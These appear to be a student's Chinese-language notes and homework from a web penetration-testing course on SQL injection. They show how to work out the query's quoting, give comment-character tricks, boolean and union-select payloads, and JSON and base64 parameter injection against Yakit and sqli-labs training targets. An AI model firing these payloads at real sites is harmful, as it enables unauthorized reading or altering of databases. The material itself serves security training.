数据库注释符:语句不会⽣效了
--空格
--+
#
%23
sql 注⼊原理
我们输⼊的数据,被代⼊到了数据库,当做 sql 语句去执⾏
http://192.168.150.144/sqli/Less-1/?id=1 and 1=3 --+
//这种情况受闭合条件限制查询时始终是一个结果
因为如果后台sql语句有单引号你不加单引号就无法看作一个条件来查询
这种情况可以猜测后台是咋闭合得 或使用工具进行拼接看看返回数据得差异就能猜测后台是咋闭合
正确-http://192.168.150.144/sqli/Less-1/?id=1' and 1=3 --+
后台-SELECT * FROM users WHERE id='1' and 1=1 --+ ' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//id=1
//"SELECT * FROM users WHERE id='1' LIMIT 0,1"
id=1' and 1=1
SELECT * FROM users WHERE id='1' and 1=1 --+ ' LIMIT 0,1";
SELECT * FROM users WHERE id='1' and 1=1 --+
SELECT * FROM users WHERE id='1' and 1=2 --+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id=1 and 1=1
SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1";
id=1 and 1=2
SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1";
靶场玩法
1-先去官网YakLab实战手册看源代码借助人工智能分析代码
2-如果无源码给你-就利用yakit进行劫持-劫持之前一定要进入浏览器代理选项
-在不代理的地址列表删除相关地址因为用的是本机更改靶场地址为本机真实IP
-如果不能劫持重启浏览器或免配置启动
-发送到Web Fuzzer仅发送类似bp重放器模块
3-GET /user/id?id=1%20or%201%3D1 HTTP/1.1
%3d代表等于号
第一关
主要看懂代码逻辑讲得是防护
第二关
Ctrl+z 在传参可以撤回数据包
http://192.168.3.2:8787/user/id?id=1 or 1=1
测试时需要各种测试 比如加 单引号和双引号 关键字 and和or
payload:漏洞验证概念
http://127.0.0.1:8787/user/id?id=1
1 and 1=0 union select 1,2,3,4,5,6,7,8,9 --
第三关
json数据存在sql注入
数据格式:
常⻅:user=admin,pass=root
JSON:{"user":"admin","pass":"root"}
http://127.0.0.1:8787/user/id-js ... 2id%22%3A%221%22%7D
GET /user/id-json?id={"uid":1,"id":"1 and 1=1"} HTTP/1.1
第四关
服务端使⽤什么数据格式类型和编码类型,那么我们在传参的时候也要使⽤相同的类型
http://127.0.0.1:8787/user/id-b6 ... WQiOjEsImlkIjoiMSJ9 - base64编码
{"uid":1,"id":"1 and 1=1"}
http://192.168.3.2:8787/user/id- ... 2id%22%3A%221%22%7D
http://192.168.3.2:8787/user/id- ... WQiOjEsImlkIjoiMSJ9
WEB渗透测试工程师系统班250303期 第13节课作业 1. SQL注入漏洞的原理是什么? 我们输⼊的数据,被代⼊到了数据库,当做 sql 语句去执⾏ 2. SQL注入漏洞的危害是什么? 数据泄露 数据篡改 服务器攻击 3. SQL注入漏洞的利用思路? 猜测闭合方式 攻击sql语句实现数据获取 4. 在一个真实站点,哪些功能点会存在SQL注入漏洞? 登录界面 购物车 导航栏 5. 实际操作课堂讲解的yakit sql注入靶场
|